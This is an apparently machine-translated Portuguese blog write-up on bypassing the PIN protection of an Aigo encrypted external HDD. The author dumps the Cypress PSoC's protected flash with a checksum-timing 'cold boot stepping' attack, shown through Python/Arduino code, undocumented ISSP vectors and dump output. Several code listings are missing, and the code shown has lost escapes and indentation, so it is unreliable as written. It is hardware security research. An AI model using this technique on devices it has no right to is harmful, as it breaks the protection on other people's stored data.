ProHoster > Blog > administração > Revertendo e hackeando a unidade HDD externa com criptografia automática Aigo. Parte 2: Fazendo um dump do Cypress PSoC
Revertendo e hackeando a unidade HDD externa com criptografia automática Aigo. Parte 2: Fazendo um dump do Cypress PSoC
Esta é a segunda e última parte do artigo sobre como hackear unidades externas com criptografia automática. Deixe-me lembrá-lo que um colega me trouxe recentemente um disco rígido Patriot (Aigo) SK8671 e decidi revertê-lo, e agora estou compartilhando o que resultou dele. Antes de continuar lendo, não deixe de ler primeira parte artigos.
4. Começamos a fazer um dump da unidade flash PSoC interna
Então, tudo indica (como estabelecemos na [primeira parte]()) que o código PIN está armazenado nas profundezas do flash do PSoC. Portanto, precisamos ler essas profundidades de flash. Frente do trabalho necessário:
assumir o controle da “comunicação” com o microcontrolador;
encontrar uma forma de verificar se esta “comunicação” está protegida da leitura externa;
encontre uma maneira de contornar a proteção.
Existem dois locais onde faz sentido procurar um código PIN válido:
memória flash interna;
SRAM, onde o código PIN pode ser armazenado para compará-lo com o código PIN inserido pelo usuário.
Olhando para o futuro, observarei que ainda consegui fazer um dump da unidade flash interna do PSoC – contornando seu sistema de segurança usando um ataque de hardware chamado “rastreamento de inicialização a frio” – depois de reverter as capacidades não documentadas do protocolo ISSP. Isso me permitiu despejar diretamente o código PIN real.
$ ./psoc.py
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9
“Comunicação” com um microcontrolador pode significar coisas diferentes: desde “fornecedor para fornecedor” até interação usando um protocolo serial (por exemplo, ICSP para PIC da Microchip).
Cypress possui seu próprio protocolo proprietário para isso, chamado ISSP (in-system serial programming protocol), que é parcialmente descrito em especificação técnica. Patente US7185162 também dá algumas informações. Há também um equivalente OpenSource chamado HSSP (usaremos um pouco mais tarde). O ISSP funciona da seguinte forma:
reinicie o PSoC;
envie o número mágico para o pino de dados serial deste PSoC; para entrar no modo de programação externa;
enviar comandos, que são sequências de bits longas chamadas "vetores".
A documentação do ISSP define esses vetores para apenas alguns comandos:
Inicializar-1
Inicializar-2
Inicializar-3 (opções de 3V e 5V)
CONFIGURAÇÃO DE ID
LEIA-ID-PALAVRA
SET-BLOCK-NUM: 10011111010dddddddd111, onde dddddddd=bloco #
APAGAR EM GRANDE
BLOCO DE PROGRAMA
VERIFICAR CONFIGURAÇÃO
BYTE DE LEITURA: 10110aaaaaaZDDDDDDDDZ1, onde DDDDDDDD = saída de dados, aaaaaa = endereço (6 bits)
WRITE-BYTE: 10010aaaaaaddddddd111, onde dddddddd = entrada de dados, aaaaaa = endereço (6 bits)
SEGURO
CONFIGURAÇÃO DE CHECKSUM
READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, onde DDDDDDDDDDDDDDDD = saída de dados: soma de verificação do dispositivo
Todos os vetores têm o mesmo comprimento: 22 bits. A documentação do HSSP contém algumas informações adicionais sobre o ISSP: “Um vetor ISSP nada mais é do que uma sequência de bits que representa um conjunto de instruções”.
5.2. Desmistificando Vetores
Vamos descobrir o que está acontecendo aqui. Inicialmente, presumi que esses mesmos vetores eram versões brutas de instruções M8C, mas após verificar essa hipótese, descobri que os opcodes das operações não correspondiam.
Então pesquisei no Google o vetor acima e me deparei aqui está um estudo onde o autor, embora não entre em detalhes, dá algumas dicas úteis: “Cada instrução começa com três bits que correspondem a um dos quatro mnemônicos (ler da RAM, escrever na RAM, ler o registro, escrever o registro). Depois, há 8 bits de endereço, seguidos por 8 bits de dados (leitura ou gravação) e finalmente três bits de parada.”
Então consegui obter algumas informações muito úteis na seção Supervisory ROM (SROM). manual técnico. SROM é uma ROM codificada no PSoC que fornece funções utilitárias (de maneira semelhante ao Syscall) para código de programa em execução no espaço do usuário:
00h:SWBootReset
01h: ReadBlock
02h: WriteBlock
03h: ApagarBloco
06h: Leitura da Mesa
07h: CheckSoma
08h: Calibrar0
09h: Calibrar1
Ao comparar nomes de vetores com funções SROM, podemos mapear as diversas operações suportadas por este protocolo para os parâmetros SROM esperados. Graças a isso, podemos decodificar os três primeiros bits dos vetores ISSP:
100 => “wrem”
101 => “rdmem”
110 => “errado”
111 => “regreg”
No entanto, uma compreensão completa dos processos on-chip só pode ser obtida através da comunicação direta com o PSoC.
5.3. Comunicação com PSoC
Como Dirk Petrautsky já portado Código HSSP do Cypress no Arduino, usei o Arduino Uno para conectar ao conector ISSP da placa do teclado.
Observe que, no decorrer da minha pesquisa, mudei bastante o código do Dirk. Você pode encontrar minha modificação no GitHub: aqui e o script Python correspondente para comunicação com Arduino, em meu repositório cipreste_psoc_tools.
Então, usando o Arduino, usei primeiro apenas os vetores “oficiais” para “comunicação”. Tentei ler a ROM interna usando o comando VERIFY. Como esperado, não consegui fazer isso. Provavelmente devido ao fato de os bits de proteção de leitura estarem ativados dentro do pen drive.
Então criei alguns de meus próprios vetores simples para escrever e ler memória/registros. Observe que podemos ler todo o SROM mesmo que a unidade flash esteja protegida!
5.4. Identificação de registros no chip
Depois de observar os vetores “desmontados”, descobri que o dispositivo usa registros não documentados (0xF8-0xFA) para especificar opcodes M8C, que são executados diretamente, contornando a proteção. Isso me permitiu executar vários opcodes como "ADD", "MOV A, X", "PUSH" ou "JMP". Graças a eles (observando os efeitos colaterais que têm nos registros) consegui determinar quais dos registros não documentados eram na verdade registros regulares (A, X, SP e PC).
Como resultado, o código “desmontado” gerado pela ferramenta HSSP_disas.rb fica assim (adicionei comentários para maior clareza):
Nesta fase já consigo me comunicar com o PSoC, mas ainda não tenho informações confiáveis sobre os bits de segurança do pen drive. Fiquei muito surpreso com o fato de o Cypress não fornecer ao usuário do dispositivo nenhum meio de verificar se a proteção está ativada. Pesquisei mais fundo no Google para finalmente entender que o código HSSP fornecido pelo Cypress foi atualizado depois que Dirk lançou sua modificação. E assim! Este novo vetor apareceu:
Usando este vetor (veja read_security_data em psoc.py), obtemos todos os bits de segurança na SRAM em 0x80, onde há dois bits por bloco protegido.
O resultado é deprimente: tudo fica protegido no modo “desativar leitura e escrita externa”. Portanto, não apenas não podemos ler nada de uma unidade flash, mas também não podemos escrever nada (por exemplo, para instalar um dumper de ROM lá). E a única maneira de desabilitar a proteção é apagando completamente todo o chip. 🙁
6. Primeiro ataque (falha): ROMX
Porém, podemos tentar o seguinte truque: já que temos a capacidade de executar opcodes arbitrários, por que não executar o ROMX, que é usado para ler memória flash? Essa abordagem tem boas chances de sucesso. Porque a função ReadBlock que lê dados do SROM (que é usado por vetores) verifica se ele é chamado do ISSP. No entanto, o opcode ROMX pode não ter essa verificação. Então aqui está o código Python (depois de adicionar algumas classes auxiliares ao código Arduino):
for i in range(0, 8192):
write_reg(0xF0, i>>8) # A = 0
write_reg(0xF3, i&0xFF) # X = 0
exec_opcodes("x28x30x40") # ROMX, HALT, NOP
byte = read_reg(0xF0) # ROMX reads ROM[A|X] into A
print "%02x" % ord(byte[0]) # print ROM byte
Infelizmente este código não funciona. 🙁 Ou melhor, funciona, mas na saída obtemos nossos próprios opcodes (0x28 0x30 0x40)! Não creio que a funcionalidade correspondente do dispositivo seja um elemento de proteção de leitura. Isso é mais como um truque de engenharia: ao executar opcodes externos, o barramento ROM é redirecionado para um buffer temporário.
7. Segundo ataque: rastreamento de inicialização a frio
Isso essencialmente chama a função SROM 0x07, conforme apresentado na documentação (itálico meu):
Esta função verifica a soma de verificação. Ele calcula uma soma de verificação de 16 bits do número de blocos especificados pelo usuário em um banco flash, começando do zero. O parâmetro BLOCKID é utilizado para passar a quantidade de blocos que serão utilizados no cálculo do checksum. Um valor "1" calculará apenas a soma de verificação do bloco zero; enquanto "0" fará com que a soma de verificação total de todos os 256 blocos do banco flash seja calculada. A soma de verificação de 16 bits é retornada via KEY1 e KEY2. O parâmetro KEY1 armazena os 8 bits de ordem inferior da soma de verificação e o parâmetro KEY2 armazena os 8 bits de ordem superior. Para dispositivos com vários bancos flash, a função checksum é chamada para cada um separadamente. O número do banco com o qual funcionará é definido pelo registrador FLS_PR1 (definindo nele o bit correspondente ao banco flash alvo).
Observe que esta é uma soma de verificação simples: os bytes são simplesmente adicionados um após o outro; sem peculiaridades sofisticadas do CRC. Além disso, sabendo que o núcleo M8C possui um conjunto muito pequeno de registros, presumi que ao calcular o checksum, os valores intermediários serão registrados nas mesmas variáveis que irão para a saída: KEY1 (0xF8) / KEY2 ( 0xF9).
Então, em teoria, meu ataque é assim:
Nós nos conectamos via ISSP.
Iniciamos o cálculo da soma de verificação usando o vetor CHECKSUM-SETUP.
Reinicializamos o processador após um tempo especificado T.
Lemos RAM para obter a soma de verificação atual C.
Repita as etapas 3 e 4, aumentando T um pouco a cada vez.
Recuperamos dados de uma unidade flash subtraindo a soma de verificação C anterior da atual.
Porém, há um problema: o vetor Initialize-1 que devemos enviar após a reinicialização sobrescreve KEY1 e KEY2:
Este código substitui nossa preciosa soma de verificação chamando Calibrate1 (função SROM 9)... Talvez possamos apenas enviar o número mágico (do início do código acima) para entrar no modo de programação e depois ler a SRAM? E sim, funciona! O código do Arduino que implementa esse ataque é bastante simples:
Execute o cálculo da soma de verificação (send_checksum_v).
Aguarde um período de tempo especificado; tendo em conta as seguintes armadilhas:
Perdi muito tempo até descobrir o que aconteceu atraso de microssegundos funciona corretamente apenas com atrasos não superiores a 16383 μs;
e então matei novamente a mesma quantidade de tempo até descobrir que delayMicroseconds, se 0 for passado para ele como entrada, funciona completamente incorretamente!
Reinicie o PSoC em modo de programação (apenas enviamos o número mágico, sem enviar vetores de inicialização).
Código final em Python:
for delay in range(0, 150000): # задержка в микросекундах
for i in range(0, 10): # количество считывания для каждойиз задержек
try:
reset_psoc(quiet=True) # перезагрузка и вход в режим программирования
send_vectors() # отправка инициализирующих векторов
ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
res = ser.read(1) # считать arduino ACK
except Exception as e:
print e
ser.close()
os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
continue
print "%05d %02X %02X %02X" % (delay, # считать RAM-байты
read_regb(0xf1),
read_ramb(0xf8),
read_ramb(0xf9))
Resumindo, o que este código faz:
Reinicia o PSoC (e envia um número mágico).
Envia vetores de inicialização completos.
Chama a função do Arduino Cmnd_STK_START_CSUM (0x85), onde o atraso em microssegundos é passado como parâmetro.
Lê a soma de verificação (0xF8 e 0xF9) e o registro não documentado 0xF1.
Este código é executado 10 vezes em 1 microssegundo. 0xF1 está incluído aqui porque foi o único registro que mudou no cálculo da soma de verificação. Talvez seja algum tipo de variável temporária usada pela unidade lógica aritmética. Observe o hack feio que uso para reiniciar o Arduino usando picocom quando o Arduino para de mostrar sinais de vida (não tenho ideia do porquê).
7.2. Lendo o resultado
O resultado do script Python é semelhante a este (simplificado para facilitar a leitura):
DELAY F1 F8 F9 # F1 – вышеупомянутый неизвестный регистр
# F8 младший байт контрольной суммы
# F9 старший байт контрольной суммы
00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00 # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00 # 1-й байт: 0x0080-0x0000 = 0x80
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00 # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01 # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00 # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00 # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01 # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01 # Итак, 0x117-0xE7: 0x30
Dito isto, temos um problema: como estamos operando com um checksum real, um byte nulo não altera o valor lido. Porém, como todo o procedimento de cálculo (8192 bytes) leva 0,1478 segundos (com pequenas variações cada vez que é executado), o que equivale a aproximadamente 18,04 μs por byte, podemos usar esse tempo para verificar o valor da soma de verificação nos momentos apropriados. Nas primeiras execuções, tudo é lido com bastante facilidade, pois a duração do procedimento computacional é sempre quase a mesma. No entanto, o final deste despejo é menos preciso porque os “pequenos desvios de tempo” em cada execução se somam e se tornam significativos:
134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD
São 10 dumps para cada microssegundo de atraso. O tempo total de operação para descarregar todos os 8192 bytes de uma unidade flash é de cerca de 48 horas.
7.3. Reconstrução binária flash
Ainda não terminei de escrever o código que reconstruirá completamente o código do programa do pen drive, levando em consideração todos os desvios de tempo. Porém, já restaurei o início deste código. Para ter certeza de que fiz tudo corretamente, desmontei usando m8cdis:
0000: 80 67 jmp 0068h ; Reset vector
[...]
0068: 71 10 or F,010h
006a: 62 e3 87 mov reg[VLT_CR],087h
006d: 70 ef and F,0efh
006f: 41 fe fb and reg[CPU_SCR1],0fbh
0072: 50 80 mov A,080h
0074: 4e swap A,SP
0075: 55 fa 01 mov [0fah],001h
0078: 4f mov X,SP
0079: 5b mov A,X
007a: 01 03 add A,003h
007c: 53 f9 mov [0f9h],A
007e: 55 f8 3a mov [0f8h],03ah
0081: 50 06 mov A,006h
0083: 00 ssc
[...]
0122: 18 pop A
0123: 71 10 or F,010h
0125: 43 e3 10 or reg[VLT_CR],010h
0128: 70 00 and F,000h ; Paging mode changed from 3 to 0
012a: ef 62 jacc 008dh
012c: e0 00 jacc 012dh
012e: 71 10 or F,010h
0130: 62 e0 02 mov reg[OSC_CR0],002h
0133: 70 ef and F,0efh
0135: 62 e2 00 mov reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff jmp 013bh
013d: 50 08 mov A,008h
013f: 7f ret
Parece bastante plausível!
7.4. Encontrar o endereço de armazenamento do código PIN
Agora que podemos ler a soma de verificação nos momentos que precisamos, podemos facilmente verificar como e onde ela muda quando:
digite o código PIN errado;
altere o código PIN.
Primeiro, para encontrar o endereço de armazenamento aproximado, fiz um dump da soma de verificação em incrementos de 10 ms após a reinicialização. Então digitei o PIN errado e fiz o mesmo.
O resultado não foi muito agradável, pois houve muitas mudanças. Mas no final consegui determinar que a soma de verificação mudou em algum lugar entre 120000 µs e 140000 µs de atraso. Mas o “código PIN” que eu exibi estava completamente incorreto - devido a um artefato do procedimento delayMicroseconds, que faz coisas estranhas quando 0 é passado para ele.
Então, depois de passar quase 3 horas, lembrei que a chamada do sistema SROM CheckSum recebe como entrada um argumento que especifica o número de blocos para o checksum! Que. podemos localizar facilmente o endereço de armazenamento do código PIN e do contador de “tentativas incorretas”, com uma precisão de até um bloco de 64 bytes.
Minhas execuções iniciais produziram o seguinte resultado:
Então mudei o código PIN de “123456” para “1234567” e obtive:
Assim, o código PIN e o contador de tentativas incorretas parecem estar armazenados no bloco nº 126.
7.5. Despejando o bloco nº 126
O bloco nº 126 deve estar localizado em algum lugar em torno de 125x64x18 = 144000μs, desde o início do cálculo da soma de verificação, em meu dump completo, e parece bastante plausível. Então, depois de filtrar manualmente vários dumps inválidos (devido ao acúmulo de “pequenos desvios de tempo”), acabei obtendo estes bytes (com uma latência de 145527 μs):
É bastante óbvio que o código PIN é armazenado de forma não criptografada! Esses valores, é claro, não estão escritos em códigos ASCII, mas, ao que parece, refletem as leituras feitas no teclado capacitivo.
Por fim, executei mais alguns testes para descobrir onde o contador de tentativas incorretas estava armazenado. Aqui está o resultado:
0xFF – significa “15 tentativas” e diminui a cada tentativa falhada.
7.6. Recuperação de código PIN
Aqui está meu código feio que reúne o que foi dito acima:
Observe que os valores de latência que usei provavelmente são relevantes para um PSoC específico – aquele que usei.
8. O que vem a seguir?
Então, vamos resumir o lado do PSoC, no contexto da nossa campanha Aigo:
podemos ler SRAM mesmo que esteja protegido contra leitura;
Podemos contornar a proteção anti-furto usando um ataque de rastreamento de inicialização a frio e lendo diretamente o código PIN.
Porém, nosso ataque apresenta algumas falhas devido a problemas de sincronização. Poderia ser melhorado da seguinte forma:
escrever um utilitário para decodificar corretamente os dados de saída obtidos como resultado do ataque de “rastreamento de inicialização a frio”;
use um gadget FPGA para criar atrasos de tempo mais precisos (ou use temporizadores de hardware Arduino);
tente outro ataque: insira um código PIN deliberadamente incorreto, reinicie e descarte a RAM, esperando que o código PIN correto seja salvo na RAM para comparação. Porém, isso não é tão fácil de fazer no Arduino, já que o nível do sinal do Arduino é de 5 volts, enquanto a placa que estamos examinando funciona com sinais de 3,3 volts.
Uma coisa interessante que pode ser tentada é brincar com o nível de tensão para contornar a proteção de leitura. Se essa abordagem funcionasse, seríamos capazes de obter dados absolutamente precisos da unidade flash - em vez de depender da leitura de uma soma de verificação com atrasos imprecisos.
Como o SROM provavelmente lê os bits de proteção por meio da chamada de sistema ReadBlock, poderíamos fazer o mesmo que descrito no blog de Dmitry Nedospasov - uma reimplementação do ataque de Chris Gerlinski, anunciado na conferência "REcon Bruxelas 2017".
Outra coisa divertida que pode ser feita é retirar o case do chip: fazer um dump de SRAM, identificar chamadas de sistema não documentadas e vulnerabilidades.
9. Conclusão
Portanto, a proteção deste drive deixa muito a desejar, pois ele utiliza um microcontrolador normal (não “endurecido”) para armazenar o código PIN... Além disso, ainda não olhei como estão as coisas com os dados criptografia neste dispositivo!
O que você pode recomendar para Aigo? Depois de analisar alguns modelos de unidades HDD criptografadas, em 2015 fiz apresentação no SyScan, no qual examinou os problemas de segurança de vários discos rígidos externos e fez recomendações sobre o que poderia ser melhorado neles. 🙂
Passei dois fins de semana e várias noites fazendo essa pesquisa. Um total de cerca de 40 horas. Contando desde o início (quando abri o disco) até o fim (despejo do código PIN). As mesmas 40 horas incluem o tempo que passei escrevendo este artigo. Foi uma viagem muito emocionante.